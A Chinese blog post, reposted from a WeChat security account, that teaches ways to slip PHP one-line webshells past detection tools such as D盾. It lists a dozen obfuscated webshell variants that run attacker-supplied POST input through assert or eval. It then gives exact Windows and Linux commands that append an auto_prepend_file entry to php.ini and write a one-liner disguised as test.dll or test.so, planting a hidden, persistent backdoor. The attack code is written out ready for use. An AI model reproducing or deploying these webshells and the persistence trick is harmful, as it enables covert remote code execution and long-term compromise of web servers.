[过狗思路]OneLine常见变形及PHP.ini全局后门

admin 2022年6月27日09:17:32评论26 views字数 2395阅读7分59秒阅读模式

author: ZX@Nixi Team


我对一句话的偏爱程度是高于大马的:一是因其依赖于菜刀的管理模式对健忘的我来说很方便,二就是他短小精干可以随便插♂入带来的隐蔽性堪称杀敌利器。大概别人与我想法类似,以至于让一句话长期处于风头浪尖,成为各厂商重点扑杀对象。虽然,PHP作为一门丑陋且强大的语言,其灵活程度仍远非写死的规则可以判断,故有过狗一说。

过狗也并非是针对安全狗,只是叫惯了习以为常。所以这里用测试起来比较顺手且查杀率还算能用的D盾作为检测标准。

统计我从网络搜集的过狗姿势,皆为通过使用某些PHP特性来规避关键字,大致分为三类:字符串拼接、变量拼接、函数变形。

其中单一混淆多已被识别,如:

<?php
$a=str_replace("nixi", "", "assnixinixiert"); $a($_POST['nixi']);
?>

其中因符合可变函数的规则,其变量值会被还原为assert,判断为后门:

[过狗思路]OneLine常见变形及PHP.ini全局后门

但是通过猜测可变函数的匹配规则[$]w+[=]w+[(].+[)],简单变形为

<?php
str_replace("nixi", "", "assnixinixiert")($_POST['nixi']);
?>

即可绕过机器判断,实现过狗:

[过狗思路]OneLine常见变形及PHP.ini全局后门

以下为常见混淆方式。

通过混用其中几种,或可达到过狗的效果;然而毕竟已是「常见」,自然也会被盯上。反而是一些晦涩古奥的写法更容易通过。

字符串拼接

  1. 连接符 .

    <?php
    $a="ass"; $b="ert"; $c=$a.$b; $c($_POST['nixi']);
    ?>
  2. 连接符 "{}"

    <?php
    $a="ass"; $b="ert"; $c="{$a}{$b}"; $c($_POST['nixi']);
    ?>
  3. str_replace

    <?php
    $a=str_replace("nixi", "", "assnixinixiert"); $a($_POST['nixi']);
    ?>
  4. base64_decode

    <?php
    $str='YXNzZXJ0'; $a=base64_decode($str); $a($_POST['nixi']);
    ?>


变量拼接

  1. 可变函数

    <?php
    $a="assert"; $a($_POST['nixi']);
    ?>
  2. 可变变量

    <?php
    $bb="assert"; $aa="bb"; $$aa($_POST['nixi']);
    ?>
  3. parse_str

    <?php$str="a=assert"; parse_str($str); $a($_POST['nixi']);?>


函数变形

  1. create_function

    <?php
    $func=create_function('', $_POST['nixi']); $func();
    ?>
  2. call_user_func

    <?php @call_user_func(assert, $_POST['nixi']);
    // @call_user_func_array(assert, array($_POST['nixi']));
    // @array_map(assert, array($_REQUEST[nixi'])); ?>
  3. function

    <?php
    function fun(){return $_POST['nixi'];} assert(fun());
    ?>
  4. extract

    <?php
    extract($_REQUEST); $ni($xi);
    ?>
    // ni=assert&xi=phpinfo()
  5. preg_replace

    <?php
    preg_replace_callback("a", eval($_POST['nixi']), "b");
    ?>
    // This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.


PHP.ini全局挂马,一个挺好用的小姿势。
PHP.ini中有配置项auto_prepend_file,开启后加载任意文件前先加载该配置项指定文件,且因PHP.ini又臭又长,多数运维在维护服务器的时候是不乐意全文阅读的,这就是可趁之机:把一句话插在里面,再丢到一个隐蔽的位置藏起来,无敌。


Windows

因phpstudy搭建方便,以此为例。

  1. Find php.ini:

    c:phpStudyphpphp-5.4.45php.exe -i | find "Loaded Configuration File"
  2. Append payload to php.ini:

    echo auto_prepend_file = "c:test.dll" >> c:php.ini
  3. Generate test.dll:

    echo ^<?php @call_user_func(assert, $_REQUEST['nixi']); ?^> > c:test.dll
  4. Restart php/php-fpm:

    balabala...


Linux

php在不同架构下命令稍有区别,nginx下为php-fpm,apache下为php

  1. Find php.ini:

    php-fpm -i | grep 'Loaded Configuration File'

    OR

    php -i | grep 'Loaded Configuration File'
  2. Append payload to php.ini:

    echo auto_prepend_file = "/tmp/test.so" >> /etc/php/7.0/fpm/php.ini
  3. Generate test.so:

    echo '<?php @call_user_func(assert, $_REQUEST["nixi"]); ?>' > /tmp/test.so
  4. Restart apache/nginx/php-fpm:

    service php7.0-fpm restart

完。


欢迎关注公众号[土狗的逆袭],zx将不定期分享各种过狗思路。

原文始发于微信公众号(清河六点下班):[过狗思路]OneLine常见变形及PHP.ini全局后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日09:17:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [过狗思路]OneLine常见变形及PHP.ini全局后门http://cn-sec.com/archives/796696.html

发表评论

匿名网友 填写信息